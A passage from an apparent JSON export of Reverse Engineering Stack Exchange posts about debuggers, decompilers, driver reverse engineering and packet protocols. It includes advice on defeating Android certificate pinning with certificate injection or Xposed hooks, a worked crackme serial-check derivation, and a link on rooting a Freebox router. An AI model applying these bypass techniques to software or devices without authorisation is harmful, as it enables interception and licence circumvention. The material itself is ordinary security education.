-&gt; N/A\n  +04: 00250000 (   2424832) -&gt; N/A\n  +08: 7c9115f9 (2089883129) -&gt; N/A\n  +0c: 7ffd7000 (2147315712) -&gt; N/A\n  +10: 80544c7d (2153008253) -&gt; N/A\n  +14: 0007ffc8 (    524232) -&gt;\n</code></pre>\n"
    },
    {
        "Id": "10627",
        "CreationDate": "2015-08-14T19:30:30.827",
        "Body": "<p>I am interested in learning and using radare2 as a toolset for reverse engineering. But I want ANY other resource for learning this tools other than <strong>radare2 book</strong>, preferably a video series. What I am interested in is solving crackmes and executables debugging.</p>\n",
        "Title": "Any documentation available for r2 other than official book",
        "Tags": "|debugging|crackme|radare2|",
        "Answer": "<p>We collect useful links about using radare2 on our <a href=\"https://forum.reverse4you.org/showthread.php?t=2107\" rel=\"nofollow\">forum</a>  (jvoisin blog too :) )</p>\n"
    },
    {
        "Id": "10633",
        "CreationDate": "2015-08-15T17:00:18.913",
        "Body": "<p>My main question is how the open source community reverse engineers windows drivers (for say, video cards) to re-write them under linux.</p>\n\n<p>Links to resources are fine, I don't expect a tutorial on driver development in an answer. But at least I need to be pointed in the right direction.</p>\n\n<p>This is actually have been asked in other stackoverflow sub domain.However, the original writer doesn't get the correct answer and i also want to know about this reverse engineering method. I hope this question is not considered as duplicate one.</p>\n",
        "Title": "Capturing OS/hardware communication / reverse engineering drivers",
        "Tags": "|linux|",
        "Answer": "<p>It depends on the particular interface, but the general idea is often the same and usually does <strong>NOT</strong> involve disassembling the driver.  The reason is that the disassembling method for reverse engineering is not considered legal in all jurisdictions.  Here are the usual steps:</p>\n\n<h1>1. Contact the manufacturer for needed information</h1>\n\n<p>Obviously, the most direct approach is also the easiest if successful.  Some manufacturers are more cooperative than others.  For some types of devices, even if the manufacturer of a device is uncooperative, sometimes the manufacturer of major chips on the device are willing to share some information and this can help.</p>\n\n<h1>2. Get general information about the device by observation</h1>\n\n<p>A lot of information can be obtained simply by observation.  For example, what are the major components in the device?  Can we look up part numbers and find datasheets for them?  Is this version <em>n+1</em> and there is already a version <em>n</em> driver for Linux?  Does the manual or the Windows driver user interface give any important clues about registers, settings or capabilities?  Does the Windows driver support multiple devices? This can be an indication that the devices might be similar, and if there's a Linux driver for one of them already, it can help.</p>\n\n<h1>3. Capture communications with the device for analysis</h1>\n\n<p>For some devices such as serial ports or USB, capturing the communications between the device driver and device is usually fairly straightforward.  (See <a href=\"https://reverseengineering.stackexchange.com/questions/2416/how-to-reverse-engineer-simple-usb-device-windows-linux?rq=1\">How to reverse engineer simple usb device [windows -&gt; linux]</a>) Capturing communications for video cards can be done in a couple of ways. One way it can be done is by using a proprietary Linux driver and then intercepting calls for that, as with the <a href=\"http://nouveau.freedesktop.org/wiki/REnouveau/\" rel=\"nofollow noreferrer\">REnouveau</a> tool. Sharing data is important, and is one reason so many drivers have been successfully written for Linux. One of the major strengths of the open source community is the fact that there are people all over the world who can and do collaborate with such efforts. </p>\n\n<h1>4. Attempt to duplicate the communications under Linux</h1>\n\n<p>This is a matter of writing code and trying the result. Because Linux already has a rich set of drivers, it's often easiest to start with something similar and modify it.  Since everything is open source, tinkering is not merely allowed but encouraged! For devices other than video cards, one can often write userspace code to attempt to exercise the device and to gather data and try experiments. Ultimately, a real driver is written, ideally as a kernel module, to allow unloading and reloading. This speeds the development cycle over having to reboot after any driver change (I'm looking at <strong>YOU</strong>, Windows!) </p>\n\n<h1>5. Test extensively</h1>\n\n<p>Testing and bugfixing is important for open source software generally, and that certainly applies to device drivers as well as anything else.  First, for inclusion in the kernel, other developers look at the code in a sometimes brutal but invariably useful process called code review.  Other experienced developers look at the source code and point out weaknesses in the code, flaws in assumptions and even typos in comments and formatting problems. Once enough people have done that, people with the actual device in question actually try it on their hardware and report bugs or anomalies. This often turns up issues such as version differences (e.g. there were multiple versions of the physical device, but all sold as the same thing) and device conflicts (both device A and device B work great individually, but fail when both are connected).</p>\n\n<p>Ultimately, the result is a shiny new bug-free open source driver that everyone can use.  (Or that's the goal, anyway!)</p>\n"
    },
    {
        "Id": "10634",
        "CreationDate": "2015-08-15T20:50:21.477",
        "Body": "<p>When I use \"trace into\" it doesn't log every single executed instruction in the \"Run Trace\" window only some of them. I have to set breakpoints in order for some of the instructions to be logged. </p>\n\n<p>For example right now I'm tracing a program with a TLS callback. I break on system entry point, so I start in ntdll and hit \"trace into\" but the TLS callback which is from the main executable is not logged if I don't put a breakpoint on it. If I put a breakpoint on it then it appears in the run trace. How can I log every single instruction without setting breakpoints? </p>\n\n<p>I have unchecked the box for \"Don't enter system dlls\" and checked the box for \"always trace over string functions\" (and all other combinations thereof). </p>\n\n<p>I have also tried setting a trace condition \"pause trace when EIP is between 400000-500000\" which only works when I set a breakpoint on the TLS (i.e clicking \"trace into\" will single-step through the TLS code once the breakpoint is hit and will not pause not before the breakpoint I set), and doesn't work if I don't set the breakpoint. There is obviously something I'm missing, but I've tried everything that I can think of. </p>\n\n<p>Also another thing: When I press \"Execute till user code\" from ntdll, it doesn't stop on the TLS callbacks (unless I put breakpoints on there). Why does that happen? </p>\n\n<p>UPDATE: Turns out problem was I was using 64 bit OS. I ran it again in 32 bit windows and the TLS was traced fine. </p>\n\n<p>\"Execute till user code\" still doesn't break on TLS callbacks though. </p>\n",
        "Title": "How to trace every instruction that was executed?",
        "Tags": "|ollydbg|",
        "Answer": "<p>how did you confirm that the tls call back is not present in run trace ? </p>\n\n<p>AFAIK ollydbg properly traces through LdrpCallInitRoutine    </p>\n\n<pre><code>Run trace, selected line\n Back=1663410.\n Thread=Main\n Module=ntdll\n Address=7C91C4F5\n Command=CALL    ntdll.LdrpCallInitRoutine\n Comment=ELdrpCallInitRoutine &lt;------------\n</code></pre>\n\n<p>do you log the trace to some file the buffer entries drop out in last in first out fashion (buffer size is configurable and default size of buffer is set at its lowest size )</p>\n\n<p>even if you configure the buffer to its maximun size there is a chance that the log entries were dropped </p>\n\n<p>do you know the address of tls callback </p>\n\n<p>if yes did you try right click -> mark address and using + / - to navigate ?</p>\n\n<p>here is a tls entry as logged by ollydbg </p>\n\n<pre><code>Run trace, selected line\n Back=1663399.  &lt;------------------ i have paused the binary so much instruction forward     \nnotice the earlier index is farther back in ldrpcallinitroutine paste above\n Thread=Main\n Module=kernl\n Address=10001000 &lt;ModuleEntryPoint&gt;  &lt;---- a dll (LDR_PROCESS_ATTACH Init Call)\n</code></pre>\n\n<p>Command=PUSH    EBP</p>\n"
    },
    {
        "Id": "10655",
        "CreationDate": "2015-08-19T13:23:49.503",
        "Body": "<p>I'm using IDA Pro and trying to analyze a parameter passed to a function call. Problem is, when i add a breakpoint on function address to see what values are being passed , the application crashes. Is there a way to monitor what parameters passed other than setting a breakpoint ?</p>\n",
        "Title": "Is it possible to trace data without adding a break point?",
        "Tags": "|ida|call|",
        "Answer": "<p>Assuming you're using a software breakpoint (<code>int 3</code>), you have a few alternative options:</p>\n\n<ul>\n<li>Use a hardware breakpoint instead</li>\n<li>Use an <a href=\"http://www.ollydbg.de/Help/i_Breakpoints.htm\" rel=\"nofollow\">OllyDbg-style memory breakpoint</a> instead</li>\n<li>Hook the target function by <a href=\"https://en.wikipedia.org/wiki/Hooking#API.2FFunction_Hooking.2FInterception_Using_JMP_Instruction\" rel=\"nofollow\">overwriting the beginning of the function with a jump/call</a> to an injected tracing function</li>\n<li>Find the code that's causing the application to crash (the code that's detecting your breakpoint) and disable it</li>\n</ul>\n\n<p><strong>Edit:</strong></p>\n\n<p>Based on your comment below, it looks like you're looking to log/hook imported API functions, in which case IAT hooking and EAT hooking are also options.</p>\n\n<p>However, the easiest solution will likely be using an existing tool like <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow\">API Monitor</a> which allows you to easily log function parameters <em>and</em> choose the type of breakpoint you want to use.</p>\n"
    },
    {
        "Id": "10670",
        "CreationDate": "2015-08-20T23:47:07.843",
        "Body": "<p>I'm working on a Linux x86_64 ELF binary using IDA 6.6.</p>\n\n<p>When I run the Hex-Rays Decompiler on a function (by pressing F5) it always shows me the pseudocode for the <code>_init_proc</code> function, no matter what I run it on. It's stuck on that function and won't show me anything else in the pseudocode view. No errors are displayed or printed to the log.</p>\n\n<p>If I produce the C file (Ctrl+F5) the full pseudocode is generated, so it's just an interface issue.</p>\n\n<p>This is driving me mad. Things I've tried:</p>\n\n<ul>\n<li>Restarting IDA</li>\n<li>Recreating the database</li>\n<li>Deleting all decompiler information for <code>_init_proc</code></li>\n<li>Deleting all decompiler information for the function I'm trying to decompile</li>\n</ul>\n\n<p>Has anyone encountered this behaviour before? Any suggestions?</p>\n",
        "Title": "Hex-Rays decompiler stuck on function",
        "Tags": "|ida|hexrays|",
        "Answer": "<h1>Reset IDA configuration</h1>\n\n<p>I eventually solved this issue by completely erasing IDA's configuration. I'm on Windows, so I removed the <code>HKCU\\Software\\Hex-Rays</code> key. On Linux you should probably try removing <code>~/.idapro/ida.reg</code>.</p>\n"
    },
    {
        "Id": "10671",
        "CreationDate": "2015-08-21T06:06:28.973",
        "Body": "<p>Ok guys, I'm a web programmer but I'm completely new to reverse engineering..</p>\n\n<p>So, there's this android app called InstaMessage, I'd like to reverse engineer the client's connection to the server, so that I can emulate it on my computer and see what commands are there, perhaps play with it a bit and further create some scripts to act as my user actions</p>\n\n<p>I was thinking of monitoring the traffic, seeing where it leads and which port, an try to start from there.</p>\n\n<p>I know it's a kind of broad question, so if you could give me some tips on where to start off, it would help a lot..</p>\n\n<p>Thanks</p>\n",
        "Title": "Reverse engineering an application's client connection to a host",
        "Tags": "|android|",
        "Answer": "<p>I did this with a lot of Android apps so I'll share what I have learned.</p>\n\n<p>When thinking of sniffing traffic, the first thing that comes to mind is \"I'll just root the Android device, run tcpdump on it and I'm done\". That works for simple things, but it gets really messy really fast. And if the app uses SSL (like 99% of what's out there) it's even worse.</p>\n\n<h1>Use a proxy</h1>\n\n<p>Most apps use HTTP/HTTPS to communicate with the server. The easiest way to sniff that kind of traffic is using a sniffing proxy (also called debugging proxy). Common ones are <a href=\"http://www.charlesproxy.com/\" rel=\"noreferrer\">Charles</a> and <a href=\"http://www.telerik.com/fiddler\" rel=\"noreferrer\">Fiddler</a>. I use Charles, so I'll show you how to work with it, but Fiddler should be similiar.</p>\n\n<p>First off, you need your computer and your Android device on the same LAN. Upon starting Charles, it will automatically start proxying your computer's traffic. You probably don't want this, so disable it from Proxy -> Proxy Settings... -> Windows. Now point your Android network settings to use your computer as HTTP proxy (Charles default port is 8888). Charles will show you all HTTP traffic from your device.</p>\n\n<p>If you need SSL (HTTPS) proxying, you have to install the Charles certificate on your device. Android requires you to have a protected (at least pattern) lockscreen to install external certificates. You can find the certificate in the doc/ directory in Charles' install path, or you can visit <a href=\"http://www.charlesproxy.com/getssl/\" rel=\"noreferrer\">http://www.charlesproxy.com/getssl/</a> from your device browser. Then, in Charles, go to Proxy -> Proxy Settings... -> SSL, enable SSL proxying and add the hosts you want to proxy (or just add <code>*</code> to proxy everything).</p>\n\n<h1>Non-HTTP(S) communication</h1>\n\n<p>An HTTP debugging proxy will cover most apps out there. In case the app is not using HTTP(S) things get a little more complex. You may want to look into the SOCKS proxy capability of Charles, and how to configure a SOCKS proxy on your device. If that doesn't suffice, then you'll really want to break out tools like tcpdump/Wireshark. You could set up a fake DNS, ARP spoof the device, use a sniffing VPN, etc. There are a lot of ways to go about it. A fake DNS is also good if you want to emulate the server, instead of the client.</p>\n\n<h1>SSL certificate checking</h1>\n\n<p>When dealing with SSL, most apps trust what the OS trusts. Since you can intall external certificates on Android, you're good. Rarely, the app will check the server certificate against an embedded CA root. This can be bypassed in a few ways:</p>\n\n<ul>\n<li>Using tools like apktool and smali, inject your own certificate into the app, replacing the original one;</li>\n<li>Write an xposed module that hooks the data send/receive methods, to sniff the decrypted messages;</li>\n<li>Write an xposed module that hooks the certificate checking routine, bypassing it.</li>\n</ul>\n\n<p>I would go with the first or the last one.</p>\n\n<h1>Decompilation</h1>\n\n<p>At some point you'll have to look at the application code. Maybe it's using a proprietary binary protocol, maybe the traffic is encrypted or compressed, maybe you can't make sense of some values. I suggest trying multiple decompilers/engines. They are not perfect, and a lot of times one works well where the other fails. <a href=\"http://virtuous-ten-studio.com/\" rel=\"noreferrer\">Virtuous Ten Studio</a> is a good one to start with. Then I alway extract the classes.dex file from the APK (it's just a ZIP file) and run it through dex2jar. I then run the resulting JAR through JD-GUI (JD-Core engine) and SecureTeam Java Decompiler (Procyon engine). Also, jadx can target DEX directly, without dex2jar.</p>\n\n<h1>InstaMessage</h1>\n\n<p>I checked the app you're trying to reverse. It's using standard HTTPS communication, easy to sniff using either Charles or Fiddler. The server has various GET endpoints and the client sends a base64-encoded <code>data</code> field. This is binary data, I haven't really looked into it but the first 70% is identical in all requests, so I suspect it's some kind of session token. The final part varies with requests, but the whole field is pretty high entropy so I'm thinking it's either compressed or encrypted. I would try to decompile the app and see what's going on. The server response, on the other hand, is plain JSON.</p>\n"
    },
    {
        "Id": "10682",
        "CreationDate": "2015-08-21T21:03:31.633",
        "Body": "<p>I have a function that takes some arguments and returns a char array which is being used by send() function later on (basically a packet encoder). My initial approach was to try and decompile this big encode function but there're at least 20-40 sub functions also data types are not really easy to figure out so i gave up on that. My second approach was to try to use hex-rays decompiler plugin but that also gives some uncompilable c code. As last resort i tried to analyze input data and encoded data but since the input changes all the time during runtime it's really hard to compare results and the only conclusion i could reach was first byte is a header and next two bytes represent packet length. So my question is, is there any way to feed data into a function(subroutine) with IDA Pro or any other disassembly tool ?</p>\n",
        "Title": "Is it possible to feed data to a function during or outside of runtime using IDA Pro?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>Yes, you can use Appcall: <a href=\"https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf\" rel=\"nofollow\">https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf</a></p>\n\n<blockquote>\n  <p>Appcall is a mechanism to call functions inside the debugged program\n  from the debugger or your script as if it were a built-in function.</p>\n  \n  <p>...</p>\n</blockquote>\n"
    },
    {
        "Id": "10687",
        "CreationDate": "2015-08-22T12:00:35.907",
        "Body": "<p>I extracted the libc.so.6 from within a vulnerable image used for exploitation purposes. I open up the shared object in IDA and I look at the symbols inside the \"Exports\" tab. I find \"free\"; upon visiting the function however, its body seems to do something rather different from what I'd expect from a dlmalloc free implementation. What am I missing?</p>\n",
        "Title": "Finding \"free\" inside libc.so",
        "Tags": "|linux|shared-object|",
        "Answer": "<p>I could not figure out why this problem happens. However, I just dumped \"free\" from within gdb, opened it up in IDA and it works just fine.</p>\n"
    },
    {
        "Id": "10690",
        "CreationDate": "2015-08-22T18:23:51.507",
        "Body": "<p>I am working on a crackme and I'm stuck on a particular comparison that I'd like your help in getting past(one of many). Here's what I know and the relevant code snippet will follow:</p>\n\n<ul>\n<li><p>Requires a 19 digit number in the form <code>xxxx-xxxx-xxxx-xxxx</code> (no non-numeric    characters). These are previous checks.</p></li>\n<li><p>Looks like the 19 digits are added together, with 10 added on, divided by 4 (shifted right 2), and compared to some value on the stack (which I'm unable to determine).</p></li>\n</ul>\n\n<p>Can you help me bypass the <code>CMP</code> on the last line ?</p>\n\n<p><strong>EDIT</strong>: Not allowed to <code>NOP</code> any instructions, need to find the serial number.</p>\n\n<p><strong>CODE</strong>:\n<strong>R9 is the user-inputted 19 digit string</strong>\n<strong>Added entire function</strong></p>\n\n<pre><code>var_18          = byte ptr -18h\nvar_8           = qword ptr -8\n\nsub     rsp, 18h        ; Follow four lines check for 19-digit user entry\ncmp     edx, 19\nmov     r8, rcx         ; Now holds User inputted string\njz      short loc_140001013\n\nxor     eax, eax\nadd     rsp, 24\nretn\n\nloc_140001013:                          ; CODE XREF: sub_140001000+Aj\nxor     edx, edx\nlea     rax, [r8+4]\nmov     ecx, edx\nxchg    ax, ax\ndb      66h, 66h\nnop\nhyphen_Check:                           ; CODE XREF: sub_140001000+2Fj\ncmp     byte ptr [rax], 2Dh ; Use a FOR loop to ensure - is every 5th character, repeats 3 times\njnz     short loc_14000100C\nadd     ecx, 1\nadd     rax, 5\ncmp     ecx, 3\njb      short hyphen_Check\n\nloc_140001031:                          ; DATA XREF: .rdata:00000001400020C4o\n ; .rdata:00000001400020D8o ...\nmov     [rsp+18h+var_8], rbx\nmov     r10d, edx\nmov     r11d, edx\nlea     rbx, [rsp+18h+var_18]\nmov     r9, r8\nnop\ndb      66h, 66h\nxchg    ax, ax\ndb      66h, 66h\nxchg    ax, ax\ndb      66h, 66h\nxchg    ax, ax\nforLoopCheck:                           ; CODE XREF: sub_140001000+A2j\nmov     rcx, rdx\nnon_Numeric_Check:                     \nmovsx   eax, byte ptr [r9+rcx] ; Begin FOR loop to check all digits for non-numeric characters\nadd     eax, 0FFFFFFD0h\ncmp     eax, 9          ; Non-number entries are checked here, exits if letters are present\nja      ExitFUNC\nadd     rcx, 1\ncmp     rcx, 4\njl      short non_Numeric_Check ; END FOR LOOP\n</code></pre>\n\n<p>ORIGINAL BLOCK:</p>\n\n<pre><code>movsx   eax, byte ptr [r9+2] ; Get 3rd digit\n                             ; Likely begins set of first checks on actual digits\nmovsx   ecx, byte ptr [r9+3] ; Get 4th digit\nadd     r11d, 1         ; Loop counter, loops 4 times, for each set of digits\nadd     ecx, eax        ; Set ECX to 3rd digit + 4th digit\nmovsx   eax, byte ptr [r9+1] ; Set EAX to 2nd digit\nadd     rbx, 4\nadd     ecx, eax        ; Adds 2nd digit to total\nmovsx   eax, byte ptr [r9] ; Move first digit into EAX\nadd     r9, 5           ; Moves to 2nd set of digits\nadd     ecx, eax        ; Adds 1st digit to total\nadd     ecx, r11d       ; Adds 1, for a total of 10\nnop\nnop\nmov     [rbx-4], ecx    ; Added four digits stored here too\nadd     r10d, ecx       ; R10d becomes our added ECX value from above\ncmp     r11d, 4         ; Loop counter check\njb      short forLoopCheck\nshr     r10d, 2         ; shifts right r10d by 2, AKA divides by 4\nmov     ecx, edx\nlea     rax, [rsp+18h+var_18] ; var_18 = -18h\nxchg    ax, ax          ; A NO OP\ncmp     [rax], r10d     ; Compares right shifted 2 value to whatever is in RAX\njnz     short ExitFUNC  ; Compare above must be the same value\n</code></pre>\n\n<p>LAST CHECK:</p>\n\n<pre><code>.text:00000001400010C4 loc_1400010C4:                          ; CODE XREF: sub_140001000+ECj\n.text:00000001400010C4                 movzx   ecx, byte ptr [r8+rax+15] ; Move last set of 4 into ECX\n.text:00000001400010CA                 cmp     [r8+rax], cl    ; CL = 1st digit of last 4, R8 = 1st dig of 1 set\n.text:00000001400010CE                 jz      short ExitFUNC  ; Kicks you out\n.text:00000001400010D0                 movzx   r9d, byte ptr [rax+r8+5]\n.text:00000001400010D6                 cmp     cl, r9b         ; cmp 1st digit of last 4 with 1st digit of 2nd 4\n.text:00000001400010D9                 jz      short ExitFUNC\n.text:00000001400010DB                 cmp     r9b, [rax+r8+10] ; cmp 1st digit of 2nd set to 1st digit of 3rd set\n.text:00000001400010E0                 jz      short ExitFUNC\n.text:00000001400010E2                 add     edx, 1\n.text:00000001400010E5                 add     rax, 1\n.text:00000001400010E9                 cmp     edx, 4\n.text:00000001400010EC                 jb      short loc_1400010C4\n</code></pre>\n",
        "Title": "How do I bypass this comparison?",
        "Tags": "|x86|x86-64|",
        "Answer": "<p>Here's what your serial checking algorithm looks like:</p>\n\n<pre><code>// expects xxxx-xxxx-xxxx-xxxx\nbool check_serial(char inp[]){\n    int total = 0;\n    int checksum = 1 + (inp[0] + inp[1] + inp[2] + inp[3]);\n\n    for (int i = 1; i &lt;= 4; i++) {\n        total += i + (inp[0] + inp[1] + inp[2] + inp[3]);\n        inp += 5;\n    }\n\n    total /= 4;\n\n    printf(\"chk is %d, total is %d\\n\", checksum, total);\n\n    return (checksum == total);\n}\n</code></pre>\n\n<p>I'll explain what the value at <code>rsp</code> is only, as you seem to understand the rest of the algorithm.</p>\n\n<p>First, you have this instruction:</p>\n\n<pre><code>cmp     [rax], r10d\n</code></pre>\n\n<p>Check what <code>rax</code> is:</p>\n\n<pre><code>lea     rax, [rsp+18h+var_18]\n</code></pre>\n\n<p>Since <code>var_18</code> is -0x18, we know that <code>0x18 + (-0x18)</code> is 0, so the above is equivalent to:</p>\n\n<pre><code>lea     rax, [rsp]\n</code></pre>\n\n<p><em>(you can put the cursor over <code>18h</code> and press <kbd>K</kbd> in IDA, it'll get rid of the variable name and just show <code>[rsp]</code>)</em></p>\n\n<p>Which is equivalent to:</p>\n\n<pre><code>mov     rax, rsp\n</code></pre>\n\n<p>Which means that your <code>cmp</code> is doing:</p>\n\n<pre><code>cmp     [rsp], r10d\n</code></pre>\n\n<p>Now, you need to find out what's on the stack. For that, you check the function again, and search for any references to <code>rsp</code>. You can click over <code>rsp</code> so IDA highlights everywhere it's used.</p>\n\n<p>After a quick look, this seems interesting:</p>\n\n<pre><code>lea     rbx, [rsp+18h+var_18]\n</code></pre>\n\n<p>As noted before, it can be simplified to:</p>\n\n<pre><code>lea     rbx, [rsp]\n</code></pre>\n\n<p>Which is basically:</p>\n\n<pre><code>mov     rbx, rsp\n</code></pre>\n\n<p>Now we know that <code>rbx</code> is pointing to the top of the stack, and in the compare function, we see this:</p>\n\n<pre><code>add     rbx, 4\n; ...\n; ...\n; ...\nmov     [rbx-4], ecx\n</code></pre>\n\n<p>The first time that code is run, <code>rbx</code> points to the top of the stack; it's incremented once, but then the <code>mov</code> dereferences <code>rbx - 4</code>, which makes it be equivalent to:</p>\n\n<pre><code>mov     [rbx], ecx\nadd     rbx, 4\n</code></pre>\n\n<p>Which is essentially setting the element and skipping to the next one.</p>\n\n<p>Now, <strong>since <code>rbx</code> points to the top of the stack, the first iteration will save the sum (i.e. <code>ecx</code>) to the top of the stack</strong> (which is the value you need to match), and increase the pointer to the next element (which you don't need here anymore).</p>\n\n<p>Bingo, we've found out what's at <code>rsp</code>. It's just the value of <code>ecx</code> in the first iteration, which is basically the sum of the first group of characters plus one.</p>\n\n<hr>\n\n<p>Next, notice it's using the ASCII codes of each digit instead of the digits themselves:</p>\n\n<pre><code>movsx eax, byte ptr [r9]\n</code></pre>\n\n<p>Since <code>r9</code> points to a char array, the digit <code>'1'</code> is actually <code>49</code> (ASCII 49 = <code>1</code>).</p>\n\n<p>To understand it better:</p>\n\n<pre><code>char serial[] = \"1111-2222-3333-4444\";\nint current_char = serial[0]; // puts the integer value 49, not 1\n</code></pre>\n"
    },
    {
        "Id": "10691",
        "CreationDate": "2015-08-22T20:41:09.427",
        "Body": "<p>Suppose I'm disassembling helloworld.exe (a program that outputs the string &quot;hello world&quot;) and want to see the user code or code section for the file in IDA Pro.\nIn what address would the user code be available?</p>\n<p>When I mean user code I mean the .code section below</p>\n<pre><code>HelloWorld db &quot;Hello, world!&quot;,0\nmsgTitle db &quot;Hello world program&quot;,0\n\n.code\nStart:\n         push    offset msgTitle\n         push    offset HelloWorld\n         push    0\n         call    MessageBoxA\n\n         push 0\n         call ExitProcess\nends\nend Start\n</code></pre>\n<p>Bonus Question: When not using IDA Pro how can I determine the address of the user code of a Portable Executable?</p>\n",
        "Title": "When analysing a PE (.exe) in IDA Pro how can I jump to the 'user code' section and skip all the header/libary code?",
        "Tags": "|ida|executable|",
        "Answer": "<p>If You use IDA: When You open Your binary in IDA, navigate to drop-box in up-right corner and choose Entry points. You will see red point, which indicates the address of entry point:</p>\n\n<p><a href=\"https://i.stack.imgur.com/j7QUG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/j7QUG.png\" alt=\"enter image description here\"></a></p>\n\n<p>Without IDA: If You need to see Entry point of your binary without IDA, you need to parse PE and examine AddressOfEntryPoint value, which is RVA from base to the beginning of user-code [usually]</p>\n"
    },
    {
        "Id": "10703",
        "CreationDate": "2015-08-24T11:48:52.843",
        "Body": "<p>This is a question rather for <strong>french</strong> stack users.</p>\n\n<p>I wonder how I can read my Freebox server HDD (actually it i flash memory), as <code>root</code> ? </p>\n\n<p>Or, at least, how I could see Terminal of the box ? (It is <code>Ubuntu</code> based, at least <code>Debian</code>)</p>\n",
        "Title": "Freeb\u00f8x Internet box, how to access HDD , root?",
        "Tags": "|linux|",
        "Answer": "<p>If you are still using a V4 version, it seems to be much more simple:</p>\n\n<p><a href=\"http://www.f-x.fr/wikini/wakka.php?wiki=PenetrationV4\" rel=\"nofollow\">P\u00e9n\u00e9trez une FreeBoxPerso V4 avec un simple Trombone</a></p>\n"
    },
    {
        "Id": "10716",
        "CreationDate": "2015-08-26T05:04:57.210",
        "Body": "<p>It is understood that the labels that come in the <code>.text</code> section of an assembly program are representative of the address of the following instruction.</p>\n\n<p>Is it the same idea with the symbols we see in the <code>.data</code> section ? i.e. <em>\"The label is representative of the base address of whatever follows\"</em>.</p>\n\n<p>Does this apply anywhere in the program ?</p>\n\n<p>I'm a NOOB in assembly, learning MIPS as a part of coursework.</p>\n",
        "Title": ".data symbols equivalent to .text labels?",
        "Tags": "|assembly|mips|",
        "Answer": "<p>You basically stated the answer yourself, a label is representative of a location in your assembly code. The section is irrelevant.</p>\n\n<p>(You misused the term \"base address\" though)</p>\n"
    },
    {
        "Id": "10722",
        "CreationDate": "2015-08-26T17:23:45.807",
        "Body": "<p>While reversing a C++ program compiled with g++, I've seen a _ZNSs4_Rep20_S_empty_rep_storageE being used. Running it through c++filt shows that before mangling it's a: </p>\n\n<pre><code>std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;::_Rep::_S_empty_rep_storage\n</code></pre>\n\n<p>But what is this _S_empty_rep_storage used for? I included an assembly snippet below where it's used:</p>\n\n<pre><code>mov     rax, cs:_ZNSs4_Rep20_S_empty_rep_storageE_ptr\n...\nadd     rax, 18h\n...\nmov     [rsp+328h+var_308], rax\nmov     [rsp+328h+var_2F8], rax\nmov     [rsp+328h+var_2E8], rax\n...\nlea     r14, [rsp+328h+var_308]\nlea     rsi, [rsp+328h+var_2D8] ; std::string *\nmov     rdi, r14        ; this\ncall    __ZNSs4swapERSs ; std::string::swap(std::string &amp;)\nlea     rdi, [rsp+328h+var_2D8] ; this\nlea     r13, [rsp+328h+var_2F8]\nlea     r12, [rsp+328h+var_2E8]\ncall    __ZNSsD1Ev      ; std::string::~string()\n</code></pre>\n\n<p>So my question is: What's the purpose of _S_empty_rep_storage here? Also why are var_308, var_2f8 and var_2e8 lea'd into r12-14? These registers are not used later on.</p>\n",
        "Title": "What is _S_empty_rep_storage used for in this code?",
        "Tags": "|disassembly|",
        "Answer": "<p>Check the comments at the beginning of libstdc++'s <a href=\"https://gcc.gnu.org/onlinedocs/gcc-4.8.1/libstdc++/api/a01053_source.html\" rel=\"nofollow\"><code>basic_string.h</code></a> to see how GCC's <code>std::string</code> works.Basically, <code>_S_empty_rep_storage</code> is a pre-initialized (in fact, zeroed out) representation of an empty string, used to initialize the string in a default constructor. So <code>var_308</code>, <code>var_2F8</code> and <code>var_2E8</code> are three std::string objects, initialized to an empty string.</p>\n\n<p>As for r12-r14, they seem to be used as temporary variables. We can at leas see that <code>r14</code> is used to initialize <code>rdi</code> - the <code>this</code> pointer for the <code>std::string::swap()</code> call, so presumably <code>r12</code> and <code>r13</code> are also used later.</p>\n"
    },
    {
        "Id": "10729",
        "CreationDate": "2015-08-27T20:43:18.017",
        "Body": "<p>I set the following breakpoint: </p>\n\n<pre><code>bp MSPTLS!LsCreateLine 100\n</code></pre>\n\n<p>The program crashes before the break point is hit 100 times. When I do <code>bl</code> after the crash, I get the following: </p>\n\n<pre><code>0 e 5dca4b62     0072 (0100)  0:**** MSPTLS!LsCreateLine\n</code></pre>\n\n<p>I am assuming from this information that the break point was hit 72 times before the crash.</p>\n\n<p>However, when I do <code>bp MSPTLS!LsCreateLine 80</code> I am able to hit the breakpoint before the crash telling me that the break point was hit more than 72 times before the crash. Does this 72 not indicate how many times the break point was hit?</p>\n",
        "Title": "Windbg breakpoint counter",
        "Tags": "|windbg|",
        "Answer": "<p><code>0072 (0100)</code> :</p>\n\n<ul>\n<li><code>0072</code> - this is the number of passes <em>remaining</em> before the breakpoint is hit.</li>\n<li><code>(0100)</code> - this is the original limit passed in.</li>\n</ul>\n\n<p>Note that these are hexidecimal values, so the crash was hit on the 142nd iteration (0x100-0x72).</p>\n\n<p>0x80 is smaller than 142 (0x8E), so it expected that you would hit the breakpoint before the crash with that setting.</p>\n\n<p>Link to documentation: <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff538891.aspx\"><code>bl</code></a></p>\n"
    },
    {
        "Id": "10733",
        "CreationDate": "2015-08-28T14:19:15.210",
        "Body": "<p>I'm reverse engineering the Final Fantasy XIV 1.0 protocol to bring back the now dead game (not ARR). I'm trying to find where an error message handler is called (specifically \"This character name is already in use\"), and work backwards to send the correct packet. Using the timeout error message, I found the routine that causes this message to load, but the routine is never called as a constant, rather loaded into EDX and then called. A error code is passed in which defines what message to show, as well as what action to take (for example, putting in the \"Bad chara name\" code will actually cause the UI to switch to the \"enter name\" screen).</p>\n\n<p>I'm using ollydbg and normally I'd just use the \"find references to command\" option, but since this routine is loaded then called, that won't work. Any ideas how to find where this routine is called? Then I can work backwards to find what is read from the packet to go to that code.</p>\n",
        "Title": "Find where a routine pointer is loaded and called",
        "Tags": "|ollydbg|",
